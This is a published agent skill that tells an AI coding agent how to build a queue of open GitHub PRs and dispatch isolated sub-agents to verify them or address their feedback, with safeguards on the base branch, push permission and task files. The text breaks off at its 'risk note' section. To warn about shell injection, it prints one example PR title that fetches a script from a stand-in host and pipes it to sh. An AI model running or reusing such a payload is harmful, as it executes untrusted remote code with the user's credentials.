# Pr Review Queue

> Build the queue of open PRs where the ball is in your court — yours needing feedback addressed, others' needing verification — and dispatch one isolated agent per PR to move it toward resolution. Asks how many to take, composes a self-contained task with a per-PR risk note, and keys push permission to authorship. Use when asked to work through the PR backlog, review the open PRs, find what is waiting on you, or clear review feedback across several PRs. It does no verifying itself — for one named PR, use /verify-pr directly.

- Skill: `vfarcic/pr-review-queue` (Agent Skill)
- Install (CLI): `npx skillmds@latest add vfarcic/pr-review-queue`
- Raw SKILL.md: https://api.skillmd.com/api/skills/vfarcic/pr-review-queue/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Product & Planning
- Author: vfarcic (https://skillmd.com/u/vfarcic)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/vfarcic/pr-review-queue

---


# Dispatch the PR queue

## When to use this

Several PRs are open and the question is *which of these are waiting on me, and can they be worked in parallel*. This skill answers that and starts the work; it does not do the work.

Not this skill:

- **One PR, named** → `/verify-pr` directly. Dispatching a single unit just adds a worktree between you and the answer.
- **Your own in-flight work that has no PR yet** → `/pr-create`.
- **A quick static read** → the built-in `/review`.

## What this skill does NOT do

It **never verifies a PR and never addresses feedback itself**. All of that happens inside a dispatched unit, in its own worktree, in its own pane. This skill selects, asks, composes, dispatches, and reports where the work went. If you find yourself running `checks.sh`, reading a diff for a verdict, or replying to a review thread, you have left this skill.

## Step 0 — Fetch, and bring the base up to date

**`dispatch` has no base or branch option.** It runs `git worktree add <dir> -b agent/dispatch-<name>` **in the caller's own working directory and with no start-point** — `ctx.working_dir` in `src/dispatch.rs` feeding `create_worktree` in `src/issue_dispatch_run.rs` — and git resolves an absent start-point to **`HEAD`**. So whatever `HEAD` is at dispatch time is the base every unit in this batch inherits, and no flag anywhere overrides it.

**What a stale base costs here is not the verdict — it is the instructions, which is why this step is easy to think unnecessary.** `/verify-pr`'s `setup.sh` builds its own `../<repo>-pr-<n>` checkout from a fresh `git fetch origin refs/pull/<n>/head` and refreshes `origin/<default-branch>` with an explicit refspec before computing any merge-base, so the *code under review* is current no matter what the dispatch worktree was cut from. What is never re-fetched is the worktree the unit actually sits in — the copy of `CLAUDE.md` whose gate commands it runs, and the copy of `.claude/skills/verify-pr/` it executes as its own instructions, `setup.sh`, `scan.sh` and `checks.sh` included. A stale base hands the unit last week's copy of the very skill it was dispatched to run, and nothing in its output can tell it so.

That is not a theoretical churn rate on this repo. Measured over the 30 days to 2026-08-30: **24** non-merge commits touched `CLAUDE.md` and **13** touched `.claude/skills/verify-pr/`. A base a handful of commits behind is a real chance of running last week's `scan.sh` against this week's rules, and of gating a merge recommendation on a rule that has since changed.

**So bring the base up to date when it is safe to.** Fetch first — this skill selects through `gh` and would otherwise never touch the remote at all — then read the state:

```bash
git fetch origin --quiet
git rev-parse --abbrev-ref HEAD                        # the branch every unit is cut from
git status --porcelain --untracked-files=no            # ANY output means tracked changes
git rev-list --left-right --count HEAD...origin/main   # "0  6" is 0 ahead, 6 behind
```

**When `HEAD` is `main`, that status output is empty, and the ahead count is `0`, fast-forward it and say you did.** No prompt, no question — an up-to-date base is the default here, and the runner is told what happened rather than asked to authorise it:

```bash
git merge --ff-only origin/main
```

**The sibling skills used to refuse to move the checkout at all, and this step deliberately does not. Read why before restoring that.** The rule they carried was *the runner may have local work, and this skill has no business moving their branch*. That hazard is real and it is kept — it is precisely what the three preconditions test for. What was wrong was the scope: the rule declined every case because it distinguished none of them, and distinguishing them is three commands that cost nothing next to a fetch. Together the preconditions are the statement **there is no local work here to move** — no uncommitted tracked change, no commit that is not already on the remote, and the branch is the one the remote's is. A fast-forward under them rewrites nothing, discards nothing, creates no merge commit, and is undone exactly by `git reset --hard <the sha you printed before moving>`.

**What declining costs was measured on 2026-08-30**, on the sibling PRD queue rather than here: two units were dispatched from a local `main` six commits behind `origin/main`, and one of those six was the commit that introduced the `desktop/` directory both units had been dispatched to work on. They were cut from a tree without it, could not have done anything, and were re-dispatched after a pull with not one original commit between them. **A unit cannot discover this about itself** — and a verifying unit is the worst placed of all to, because its instructions are the thing that is stale, so the check that would have caught it is the check that is out of date.

**`git merge --ff-only origin/main`, never `git pull`, and the difference is not stylistic.** The fetch above already put the ref in the repository, so the merge is purely local: no second network round trip, and nothing for a `pull.rebase` setting to reinterpret into a rebase of the runner's branch. It is also the second of two independent guards — the preconditions decide and `--ff-only` enforces, so if the two ever disagree the merge fails loudly instead of writing a merge commit onto `main`.

**When the base cannot be brought up to date, do not touch the checkout.** Three of the four cases below are precondition failures; the fourth is the merge itself refusing. Say which one it was, in these terms:

- **Tracked changes present** — name the files. They are invisible to the units either way: a unit's copy is made from the last commit ([`docs/dispatcher-mode.md`](../../../docs/dispatcher-mode.md)), so uncommitted work never reaches one. Committing or stashing is therefore the same fix in both directions, and it is the runner's to make rather than yours. **Untracked files are deliberately not a blocker** — `--untracked-files=no` is load-bearing above. A fast-forward that would clobber one fails cleanly by itself, and counting them as dirtiness would refuse on nearly every real checkout, reinstating "never update" by another route.
- **`HEAD` is not `main`** — every unit is cut from *that* branch, so every unit runs the gates and the skill scripts as they stand on it. Name the branch and its distance from `origin/main`. This is the sharper failure of the three, because nothing about it looks wrong: a feature branch dispatches exactly as smoothly as `main` does, and a unit standing on one will happily verify a PR against instructions from an unmerged branch of the runner's own.
- **`HEAD` is ahead of `origin/main`** — there is nothing to fast-forward *to*, and the commits that put it ahead are inherited by every unit's branch. Report the count; pushing or moving is the runner's call.
- **The merge command itself fails despite every precondition passing** — a fast-forward that would clobber a file `origin/main` newly tracks is the concrete case. Treat that failure exactly like the three above: report the git error and do not proceed to dispatch. **Decide on the exit status, never on the output** — git prints `Updating <old>..<new>` *after* `Aborting`, so a refusal ends in a line that reads exactly like a successful fast-forward. `--ff-only` never partially applies, so the checkout is unchanged and there is nothing to undo.

**Do not stop the queue over a refusal.** Nothing in step 1's selection depends on the checkout — it is all `gh` — so carry the refusal forward and put it in front of the runner at the same moment you ask how many to dispatch (step 2), where they are already weighing what the batch costs. Three answers are legitimate and all three are the runner's: dispatch anyway onto the older base, clear the blocker and dispatch after it, or defer the batch. Take their answer rather than picking one, and never clear the blocker on their behalf — committing, stashing or switching branch is precisely the local work this step refuses to touch.

**Resolve it before the first dispatch, never between two.** If the runner clears the blocker, re-read `HEAD` and dispatch. Updating mid-batch splits one batch across two bases, and the units already started keep the old one.

**Then report the base as a distance from `origin/main`, not as a branch name** (step 8). "cut from `main`" reads identically whether `main` is level with the remote or six commits behind it, which is exactly how the 2026-08-30 batch looked fine right up until the units did not.

**If a later step in this file also checks the base, this one supersedes the deciding half of it.** Issue #674 added such a step, written when surfacing was the policy; keep what it says about `dispatch` naming the base in its own success line, since that is a record written *after* the worktree exists and step 8 quotes it, and drop its instruction to surface and ask, which is what this step replaces.

## Step 1 — Select the queue

Resolve the current user and the repo at runtime. Never hardcode a login: other maintainers run this skill too, and a hardcoded `vfarcic` silently gives them somebody else's queue.

```bash
ME=$(gh api user --jq .login)
read -r OWNER REPO < <(gh repo view --json owner,name --jq '"\(.owner.login) \(.name)"')
```

**One rule: include every open PR where the ball is in the runner's court.** There is exactly one exclusion — **someone else's homework**, meaning a PR the runner did *not* author that carries **either unresolved review threads or a `CHANGES_REQUESTED` decision**. Those are pending work already delegated to a specific person, and dispatching at them re-derives a verdict that has been delivered and not yet acted on, while talking over the author mid-fix.

**Both halves of that test are needed, because a review body is not a thread.** A reviewer who submits `CHANGES_REQUESTED` with only a body and no inline comments moves the ball without creating a single review thread, so a thread-only test reports `unresolved: 0` and admits the PR. Measured on this repo on 2026-08-12: #471 (author `prageethw`, `CHANGES_REQUESTED`, 1 thread, **0 unresolved**) was admitted by the thread-only form — and body-only changes-requested reviews are ordinary here, not exotic. #504 is the same shape with the counter at literally zero threads.

**One caveat on "the author will act": a bot will not.** The exclusion assumes the ball lands with a person who can pick it up, which is false for a Renovate or other bot-authored PR — a bot never resolves a thread, so anything that lands on one excludes that PR permanently rather than temporarily. Exclude only when the other author is a **human**; for a bot author, the ball is really back with the maintainers. This has never actually been reached here — across the last 60 closed PRs no bot-authored PR carried a single review thread — so treat it as a guard against a state that has not happened yet, not a bug being fixed.

Everything else is in, and the three interesting cases are worth naming because a narrower rule drops the ones that matter most:

- **Not yours, no unresolved threads** → needs verification. The classic review.
- **Yours, no unresolved threads** → needs verification too. You want the verdict whether or not you can ever approve it.
- **Yours, with unresolved threads** → needs the feedback addressed. **This is the case a verification-only queue silently drops, and it is the one most loudly demanding attention** — a PR of yours sitting on review comments nobody has answered.

There is deliberately **no mode switch** here, and `CHANGES_REQUESTED` excludes nothing **on your own PR** — it means the ball is emphatically in your court, and excluding it would hide exactly the wrong PRs. It excludes only on someone else's, where it means the opposite. What the unit *does* on arrival is decided per PR from the facts in its task text, not by a mode the queue picked in advance.

Measured on this repo on **2026-08-12**, re-run after the `CHANGES_REQUESTED` half was added: of **11** open PRs this rule admits **9**, excluding #471 and #506 — both `prageethw`'s, both `CHANGES_REQUESTED`, and #471 with **zero** unresolved threads, which is precisely the case a thread-only exclusion missed. A verification-only rule (assignee-clear *and* zero unresolved *and* not `CHANGES_REQUESTED`) admits only **3** — #416, #467, #501 — dropping #464, #466, #469, #480, #499 and #504. All six are the runner's own, and each carries either unresolved threads (#466 has 7, #480 has 4, #499 has 2) or a changes-requested decision with none (#464, #469, #504). Both shapes mean the ball is in the runner's court; a verification-only queue hides both, which is the whole point.

Re-measure rather than trusting that line: it was **10 of 10 against 7** when written on 2026-08-10, and the gap moved in two days purely on ordinary review activity.

Unresolved threads are **not expressible in `gh pr list`** — no `--json` field carries them. GraphQL is the only route:

```bash
gh api graphql -f query='
query($owner:String!, $repo:String!, $cursor:String) {
  repository(owner:$owner, name:$repo) {
    pullRequests(states:OPEN, first:50, after:$cursor,
                 orderBy:{field:CREATED_AT, direction:ASC}) {
      pageInfo { hasNextPage endCursor }
      nodes {
        number title isDraft headRefName isCrossRepository
        author { login }
        reviewDecision
        assignees(first:10) { nodes { login } }
        reviewRequests(first:10) { nodes { requestedReviewer { ... on User { login } } } }
        reviewThreads(first:100) {
          totalCount
          pageInfo { hasNextPage endCursor }
          nodes { isResolved }
        }
      }
    }
  }
}' -F owner="$OWNER" -F repo="$REPO" \
  | jq -r --arg me "$ME" '.data.repository.pullRequests
  | .pageInfo as $p
  | .nodes[]
  | {number, title, author: .author.login, draft: .isDraft, branch: .headRefName,
     fork: .isCrossRepository, decision: .reviewDecision,
     assignees: [.assignees.nodes[].login],
     requested: [.reviewRequests.nodes[].requestedReviewer.login],
     threads: .reviewThreads.totalCount,
     more_threads: .reviewThreads.pageInfo.hasNextPage,
     unresolved: ([.reviewThreads.nodes[] | select(.isResolved | not)] | length),
     more_prs: $p.hasNextPage, next: $p.endCursor}
  | . + {mine: (.author == $me)}
  | . + {verdict: (if (((.unresolved > 0) or (.decision == "CHANGES_REQUESTED"))
                       and (.mine | not))
                   then "EXCLUDE - not yours, ball is with the author"
                   else "include" end)}'
```

Note `--jq` is replaced by a real `jq` pipe here: `gh api --jq` takes no `--arg`, so `$ME` cannot reach the filter that way. Keep every string in that filter free of apostrophes — the whole program is inside shell single quotes, and one ASCII `'` in a message string ends the quoting silently.

The shape of the one exclusion: another maintainer's PR with the ball still on their side. #390 was exactly this earlier on 2026-08-10 with 6 unresolved threads, and had been cleared by the afternoon — which is a reminder that this is a live query and not a fixed list, and why step 3 exists.

**Both page sizes are bounds you must act on, not disclaimers.** The cursors are selected so the instruction is actually followable — re-run the same query with `-F cursor=<endCursor>` while `more_prs` is true, and for any PR whose `more_threads` is true, re-run the per-PR query in step 3 with `reviewThreads(first:100, after:<its endCursor>)` until it is false. Until you have, `unresolved: 0` on that PR is **unproven**, not zero: a PR with 130 threads whose 6 unresolved ones are the most recent reports `0` and looks perfectly clear.

The PR truncation has a **direction** worth stating when you report it: `orderBy` is `CREATED_AT` **ASC**, so the 50 you keep are the *oldest* and truncation drops the *newest* — precisely the PRs most likely to be awaiting a first look. A user told only "the queue was truncated" will reasonably assume the stale end went missing.

`assignees` and `requested` are **displayed, never filtered on.** Neither is part of the rule. Selecting on assignees would drop the runner's own PRs whenever they are unassigned, and selecting on requested-reviewer is worse: `.github/CODEOWNERS` auto-request **omits the author**, and GitHub does not let a PR's author be a requested reviewer on their own PR at all — so `$ME in requested` can never be true there, and queueing your own PR would be impossible by construction. Both fields are shown so the human picking the batch can see who was actually asked and drop rows the rule should not.

**Be honest about what that costs, because showing the fields does not discharge the concern — it moves it onto the human.** That is the right place for it *here*, and only because the residual error is bounded and visible: an unassigned PR that is really someone else's shows up as a row, the user sees who was requested, and drops it before a single second of e2e time is spent. **That acceptance is conditional, not permanent.** It stops holding on either of two changes — if the maintainer set grows beyond two, where "unassigned" stops reading as "either of us could pick this up", or if this skill is ever run unattended, where there is no human in the loop to be the disambiguator. If you are reading this after either has happened, the field needs to become part of the rule.

Draft status is **not** a criterion either. A draft still verifies fine; carry the flag into the task text, because `/verify-pr`'s Phase 0 acts on it and a draft verdict is advice rather than a merge decision.

## Step 2 — Show the queue and ask how many

Print every included PR with **number, title, author, whether it is the runner's, the unresolved-thread count, the review decision, and who is requested**. Then say, per row, **what the unit would most likely do** — verify, address feedback, or both — so the user is choosing between concrete pieces of work rather than bare numbers. Show the excluded ones too, one line each with the reason; exclusions are what the user is most likely to disagree with, and they cannot correct a rule they cannot see.

Then **ask how many to dispatch**, recommending **2–3**. Do not assume "all of them", and do not offer "all" as the recommended option.

Each unit that verifies runs `/verify-pr`, which since issue #502 **reads** the PR's `e2e-deterministic` CI run rather than reproducing lane 1 locally — so a verification is now dominated by the release build, `test-fast` and the windows cross-check rather than by tens of minutes of PTY time. It still builds its own multi-GB `target/`, and a unit may opt into a local lane-1 run with `--e2e` where CI's is missing. How much of that to spend at once is the user's call, not yours.

**The count is a security decision, not only a cost one.** N units means N concurrent agents, N independent chances for the untrusted-content problem in step 5 to land, and N simultaneous `cargo build` / `nextest` / `xtask` runs over code nobody has read yet. That is what a "just do all of them" answer is really buying.

It is also a resource decision with a misleading failure mode. Each verifying unit is a dispatch worktree *plus* `/verify-pr`'s own `../<repo>-pr-<n>` checkout, so up to three multi-GB `target/` trees per PR. CLAUDE.md rule 14 records how disk and RAM pressure surfaces here — a misleading `linking with 'cc' failed`, or a `SIGKILL` on `rustc` — and an agent hitting either will attribute it to the PR under review rather than to the batch size. Concurrent e2e suites also contend for timing, which shows up as phantom flakes in every one of them at once — the contention #415 measured at 6-7 of 40 files failing in parallel against 40/40 at `-j 1`. Those are artifacts of your own batch size. #908 requires the lane to be green before a PR is done, but it is deliberately **not** a licence to quarantine a test per contended failure — rerun in isolation first, and act only on what survives that.

A smaller batch is also what makes step 4's risk note worth writing properly. Three tailored tasks beat eight generic ones.

## Step 2b — Establish the shape, by asking

A unit starts either as **one agent** or as a **multi-role orchestration**. Which one the runner wants is theirs to choose — **ask, never infer.**

```bash
dot-agent-deck dispatch --list-targets
```

Run that **once** — it is a read-only daemon round-trip and its answer describes the repo, not the PR — then show the runner the output and **ask the shape once per PR**, as a single prompt carrying one line per PR: the number, and what step 2 already said that unit would most likely do — verify, address feedback, or both. That is the scope the answer follows from. **Pass the matching flag explicitly on every dispatch** (`--single` or `--orchestration '<name>'`). With neither, the shape falls back to whatever the repo's config implies, which is the guess this step exists to avoid.

**`--single` is usually the right answer here, and that is exactly what made hardcoding it invisible.** [`docs/dispatcher-mode.md`](../../../docs/dispatcher-mode.md) uses this skill's own workload as its example of the single-agent case — *"verify these three PRs" → usually one agent each* — and `/verify-pr` is written as one agent walking its phases in order. But "usually right" is not "the runner's call", and the two come apart on the case step 4 calls the common one: a PR that has never been verified *and* carries a pile of unresolved threads is two jobs, and #480 — this skill's own PR — was exactly that. This skill's dispatch template read `--single` unconditionally until issue #674, which is a default that is right most of the time and a guess the rest of it, stored where nobody would think to reconsider it.

**One answer can still cover the whole batch — as the runner's answer, not as your assumption.** When they say "single for all of them", take it and stop asking. Asking per PR costs one extra line in one prompt; not asking costs a unit started in a shape nobody chose.

**Both the query and the dispatch need a deck pane.** `dot-agent-deck dispatch` reads `DOT_AGENT_DECK_PANE_ID` and exits `FAILURE` without it, and that check runs **before** the `--list-targets` branch (`src/main.rs`, the `Commands::Dispatch` arm), so outside a managed pane both fail with `Error: DOT_AGENT_DECK_PANE_ID environment variable not set.` If you see that, nothing can be dispatched from here — report the queue and say so, rather than falling back to doing the reviews yourself. If instead the error is `the daemon did not answer list-targets`, there is no daemon or the build is older: **take that to the runner rather than picking a shape**, since a failed query is not a reason to start guessing.

## Step 3 — Re-check state immediately before each dispatch

Re-query each PR **right before dispatching that PR**, not once up front for the whole batch. PRs move while a queue is being worked: in the session this skill came from, one PR had been closed at listing time and was reopened later, and two others were merged between listing and review. #390's six unresolved threads cleared in the space of an afternoon.

Running `scan.sh` gives you the fresh state and step 4's file buckets in one read-only call:

```bash
bash .claude/skills/verify-pr/scan.sh <n>
```

It runs from the main checkout, creates nothing, and touches no worktree. Read `PR_STATE`, `PR_DRAFT`, `PR_HEAD_BRANCH`, `PR_IS_FORK`, `PR_AUTHOR` and **`PR_HEAD_SHA`** from it. Carry `PR_HEAD_SHA` into the task text: it is the commit the PR proposed before the unit touched anything, and it is what the pre-push gate in step 4 diffs from.

`scan.sh` carries neither the unresolved-thread count nor the review decision, so pair it with a single-PR repeat of step 1's query:

```bash
gh api graphql -f query='
query($owner:String!, $repo:String!, $pr:Int!, $cursor:String) {
  repository(owner:$owner, name:$repo) {
    pullRequest(number:$pr) {
      state
      author { login }
      reviewDecision
      reviewThreads(first:100, after:$cursor) {
        totalCount
        pageInfo { hasNextPage endCursor }
        nodes { isResolved }
      }
    }
  }
}' -F owner="$OWNER" -F repo="$REPO" -F pr=<n> --jq '
  .data.repository.pullRequest
  | {state, author: .author.login, decision: .reviewDecision,
     threads: .reviewThreads.totalCount,
     more_threads: .reviewThreads.pageInfo.hasNextPage,
     next: .reviewThreads.pageInfo.endCursor,
     unresolved: ([.reviewThreads.nodes[] | select(.isResolved | not)] | length)}'
```

**Skip the PR and say so** if `state` is no longer `OPEN`, or if it has become someone else's homework — `unresolved > 0` **or** `decision == "CHANGES_REQUESTED"` on a PR whose `author` is not `$ME`. That is the exact negation of step 1's rule, both halves of it, so the re-check cannot admit what the listing excluded. Never silently drop one, and never quietly substitute the next PR down the queue to keep the count the user asked for.

Re-check `author` rather than trusting the listing: it is what decides the push permission in step 4, so a stale value is a permission bug, not a cosmetic one.

**When the two sources disagree, this GraphQL `author.login` is the authority — not `scan.sh`'s `PR_AUTHOR`.** Both are available in this step and they name the same person in every ordinary case, so say which decides before a weird case makes you guess. `scan.sh` emits `PR_AUTHOR` as free text in a `KEY=value` stream (`scan.sh:51`) four lines after the attacker-controlled `PR_TITLE` (`scan.sh:47`), which makes it the more forgeable of the two by construction, whether or not a title can actually carry a newline today. Use `PR_AUTHOR` for reporting; decide the **permission** from the typed GraphQL field.

**The 100-thread bound applies here too**, and this is where it bites hardest. If `more_threads` is true, page with `-F cursor=<next>` until it is false before trusting `unresolved: 0` — on someone else's PR that zero is the whole exclusion test, and a PR with 130 threads whose unresolved ones are the most recent reads as clear and burns a whole verification unit.

Yes, the dispatched agent will run `scan.sh` again as its own Phase 0. That duplication is intentional and nearly free: a handful of read-only API calls, and it is what lets you write a tailored risk note without reading the diff yourself.

## Step 3b — Skip PRs already under an active unit

**Check this before dispatching, or you will dispatch a duplicate.** It nearly happened for #465 and #471 in the session this skill came from, caught only because the operator remembered. Two agents verifying one PR is not merely wasteful: they race on `../<repo>-pr-<n>`, and the second one's `setup.sh` collides with a checkout the first is building in.

A live unit's claim is its **branch**, because `dispatch` refuses while `agent/dispatch-<name>` exists:

```bash
n=<pr-number>
claim=$(git branch --list "agent/dispatch-verify-pr-$n" "agent/dispatch-verify-pr-$n-*" \
          --format='%(refname:short)')
```

**Match exactly-or-dash, never `-$n*`.** A naive `agent/dispatch-verify-pr-$n*` glob makes PR **#4** match `agent/dispatch-verify-pr-465-0810`, and **#46** match it too — verified by string test. The skill would then report a PR as already-under-review because an unrelated PR's unit exists, and skip it silently. Both spellings are needed on the left because units have been named both `verify-pr-<n>` and `verify-pr-<n>-<MMDD>`.

If a claim exists, decide whether it is **live** — and decide it from **process cwd, never from file mtime**:

```bash
claim=$(printf '%s\n' "$claim" | head -1)   # both spellings can match; take one
wt=$(git worktree list --porcelain \
     | awk -v b="refs/heads/$claim" '/^worktree /{p=$2} /^branch /{if ($2==b) print p}')
if [ -z "$wt" ]; then
  echo "DEAD - branch $claim has no worktree"
else
  for p in /proc/[0-9]*; do
    c=$(readlink "$p/cwd" 2>/dev/null) || continue
    case "$c" in "$wt"|"$wt"/*) echo "LIVE ${p#/proc/}" ;; esac
  done
fi
```

**The empty-`$wt` guard is load-bearing, not defensive padding.** With `wt=""` the `case` pattern degrades to `/*`, which matches every absolute path — measured on one box, **250 processes reported LIVE** — so *every* PR looks claimed and the skill silently declines to dispatch anything. It is reachable in two states this document itself calls routine: a branch that outlived its worktree, which step 6 names as `dispatch`'s second refusal mode, and a two-line `$claim` when both spellings match, which makes `awk`'s `refs/heads/$claim` match nothing. Hence the `head -1` as well. The same degradation applies to the macOS `grep "$wt"` form below, where an empty pattern matches every line — check `$wt` there too before sweeping.

**Directory mtime is not liveness and will lie to you.** An agent sitting in a polling loop — waiting on a background `checks.sh`, or on CI — writes nothing, so the directory timestamp goes stale while the agent is entirely alive. Measured while writing this skill: this very worktree showed **12 live PIDs with cwd inside it** and a directory mtime **703 minutes** old. Two units were also read as dead by mtime and were both running. Reading mtime as idleness is how you conclude a unit has died and dispatch the duplicate this step exists to prevent.

That probe is Linux-only. On macOS use `lsof -a -d cwd -p <pid>`, or `lsof -d cwd | grep "$wt"` to sweep; the principle is identical — ask the kernel what processes are *in* the directory, not what the filesystem last wrote.

Live claim → **skip, and name the unit** so the user can go to its tab. No claim, or a claim with no live process → free to dispatch, but prefer a **new name** per step 6 rather than reusing the dead one.

**Branch-absence does not mean "never verified".** Measured on this repo: zero `agent/dispatch-verify-pr-*` branches existed while nine `*-pr-<n>` and `*-pr-<n>-base` worktrees from finished verifications sat on disk. Those units were cleaned up branch-and-all; their orphaned inner checkouts are the only trace. So this step answers "is a unit running *now*", which is what prevents a duplicate — it is not a record of review history, and must never be reported as one.

## Step 4 — Compose a per-PR task, with a risk note

One dispatch per PR, and **the task goes in a file — never inline**:

```bash
dot-agent-deck dispatch <name> (--single | --orchestration '<orchestration>') --task-file '.dot-agent-deck/<task-slug>.md'
```

**The shape flag is whatever the runner chose for _this_ PR in step 2b — never a default carried in this template.** It read `--single` unconditionally until issue #674, in a skill that had no shape step to be overridden by: a template is the one place an answer belonging to the runner cannot be stored, because it is followed rather than reconsidered.

**`--task-file` is the default here, not an escape hatch, and this is a safety rule rather than an ergonomic one.** The product's own delegation protocol says exactly that, compiled into the binary and handed to every orchestrator it spawns (`src/orchestrator_context.rs:81-117`): `--task "…"` is a fallback that is safe *only* when the whole task is **a single line of plain text with no backticks, no `$`, no `"`, no `\` and no `!`**. The template below is a multi-paragraph block, so it fails that allowlist on shape alone — before anyone looks at what it contains.

**Why it matters more here than anywhere else: this task text carries attacker-controlled strings.** The PR title, head branch name and author login are all written by whoever opened the PR, and on a public repo that is any stranger. Everything after `--task` is processed by **your own shell** — the orchestrating one, holding your `gh` credentials and repo write — before `dot-agent-deck` ever sees argv. Inside double quotes `$(…)`, backticks and `$VAR` are still live, so a PR titled

```
Fix a typo $(curl -sf https://evil.example/p|sh)
```

runs that command as you. Git's ref rules forbid space, `~`, `^`, `:`, `?`, `*`, `[` and `\` in a branch name, but the permitted set is wider than it looks: measured with `git check-ref-format --branch` rather than assumed, git **accepts** `$`, `` ` ``, `(`, `)`, `!`, `;`, `|`, `&`, `'` and `>`. That is every shell metacharacter that matters, so `headRefName` is the same sink by a second route — and it is a sink for command *chaining* as well as substitution.

The non-malicious case is worse than it looks, and the same protocol text says why: a swallowed `$(…)` or `\` is **dropped silently while the dispatch still reports success**. There is no signal distinguishing "dispatched correctly" from "dispatched with the risk note half-eaten", so a quoting accident produces a confident review of the wrong instructions.

Four rules for producing that file, carried across from `src/orchestrator_context.rs:84-100`. The last two are about the *path*, not the contents:

- Write it with your **file-writing tool**. Never with shell redirection or a heredoc — a line of the task text can terminate the heredoc, and everything after it is then executed as shell commands.
- Invent a **fresh slug** from `[a-z0-9][a-z0-9-]*`, at most 40 characters. `verify-pr-<number>-<MMDD>` is the natural one. **Never build it from the PR title, the branch name, or any other text you did not write yourself** — that is the same injection by way of a filename.
- No `/`, no `\` and no `..` in the slug; the file goes directly in `.dot-agent-deck/`.
- **Single-quote the whole path** in every command you run.

Delete the file once the dispatch has succeeded, and keep credentials out of it — task files persist on disk.

**Fence the untrusted fields inside the file, too.** A file removes the *shell* as an execution path; it does not make the title trustworthy. Put it in a labelled, quoted block so the boundary is visible to the agent reading it rather than implicit. **The label is what carries the boundary, not the delimiter** — a `>` prefix is advisory prose, not a collision-proof fence, so never let the *only* signal be the punctuation. The same applies when you print titles to the operator's terminal in step 2: that text is unsanitised and is being rendered by a terminal emulator.

The task text must be **self-contained**. The dispatched agent is a fresh process in a fresh worktree with none of this conversation in its context. It cannot ask you what you meant.

**Reference skills and files by path, never by pasting their contents.** The worktree is a full checkout — `.claude/skills/verify-pr/SKILL.md` and `CLAUDE.md` are already in it. A pasted copy is a fork that goes stale the moment either file changes.

### The unit's job

Every task states the same job:

> **Move this PR toward resolution — verify it, address outstanding review feedback, or both — and end with a clear statement of what remains.**

**"Both" is the common case, not an edge case.** #480, this skill's own PR, had five unresolved threads *and* had never been verified. A task that offers only one of the two will pick one and leave the other unmentioned.

**Verification is the DEFAULT.** A unit that decides to skip it must say so explicitly, and give its reason, in its final message. Silent skipping is the dangerous direction — an unverified PR reported as resolved reads exactly like a verified one — so make it visible, the same discipline as never applying a silent cap.

The feedback half needs **no skill of its own**: `CLAUDE.md` already governs it end to end — rule 2's `fmt`/`clippy` gates before any commit, rule 8's requirement to respond to every finding (fix it, or say why not), thread resolution, and the stale-approval mechanics. `/verify-pr` is invoked for the verification half only, and **stays unchanged and read-only** by this skill: nothing here edits it, and the unit must not either.

### Check the closing references against what the PR actually does

**Every task also asks the unit one question about the PR's own claim:** does each `Closes #N` / `Fixes #N` reference name an issue this diff actually finishes? Merging a PR closes those issues automatically, so an over-reaching reference does not merely mislabel the PR — **it silently closes live work**, and the issue disappears from `/issue-queue` and `/prd-queue` without anyone deciding that it should.

This is the same defect the queue skills' premise spot-check exists for, arrived at from the other end. There it is a stale issue claiming to be live; here it is a live issue about to be recorded as done. Both are a claim nobody checked against reality before acting on it.

**The failure mode to look for is a PR that fixes one family of a multi-part issue and closes the whole thing.** #818 is the shape: it tracks a whole red `e2e-deterministic` lane across several families, and a PR fixing one of them should say `Refs #818`, not `Closes #818`. PR #837 is the worked example of getting it *right* after the fact — it declares `Closes` for #832 only, and carries #818 as a prose `Refs`, with the remaining families named at the end.

The check is cheap and the answer is a reading, not a grep:

```bash
gh pr view <n> --json closingIssuesReferences,files \
  -q '"CLOSES: "+([.closingIssuesReferences[].number]|map(tostring)|join(","))+"\nFILES: "+([.files[].path]|join(" "))'
gh issue view <N> --json title,body -q '.title, "", .body'
```

**Read the body, not only the title.** Multi-part scope lives in the body: #818's several families are invisible from its title, and "does this diff finish it?" cannot be answered against a title alone — which is the exact case this check exists for.

**A reference that over-reaches is a finding to raise, not something to silently fix** — on someone else's PR the unit must never push, and on the runner's own the narrowing is a body edit the runner should see. Say which issues the diff genuinely finishes and which it only advances.

### Push permission is keyed to AUTHORSHIP

The selection step already knows who wrote each PR, so the task states the fact and the permission that follows from it — no mode, no inference:

- **PR authored by the runner** → *"This PR is yours. You may commit and push to `<headRefName>`."* Addressing feedback means changing code, and it is the runner's own branch.
- **PR authored by anyone else** → *"This is `<author>`'s branch. NEVER push to it, under any circumstances, with or without say-so."*

**Permission is not scope, and the own-PR case needs both.** "You may push to your own branch" answers *whether*, not *what*, and the two fail differently. A push that broadens past the conflict resolution or the specific change the user asked for violates no permission, so nothing above catches it — it is an unrelated edit riding into a PR under an approval given for something else, in a repo where `dismiss_stale_reviews_on_push` means the approval it invalidates is somebody's finished work. The task therefore carries an explicit scope bound next to the permission, naming `cargo fmt` outright: a lint tidy-up is the edit an agent is most likely to read as obviously correct and therefore in bounds, and it is the one that rewrites the most lines while looking like nothing.

This is what a mode switch was being invented to carry, and keying it to authorship is strictly better: it is a fact the queue already has, it cannot drift out of sync with what the unit is doing, and it makes the dangerous case impossible rather than conditional. **Pushing to a contributor's branch stops being a case that needs covering at all** — so the conflict-resolution push exception below only ever applies to the runner's own PRs, and `maintainerCanModify` never needs consulting, because the answer is "never push" before the field is even read.

### The risk note

Every task carries a **RISK NOTE** of one to three sentences, tailored to what **this** P

…(truncated)
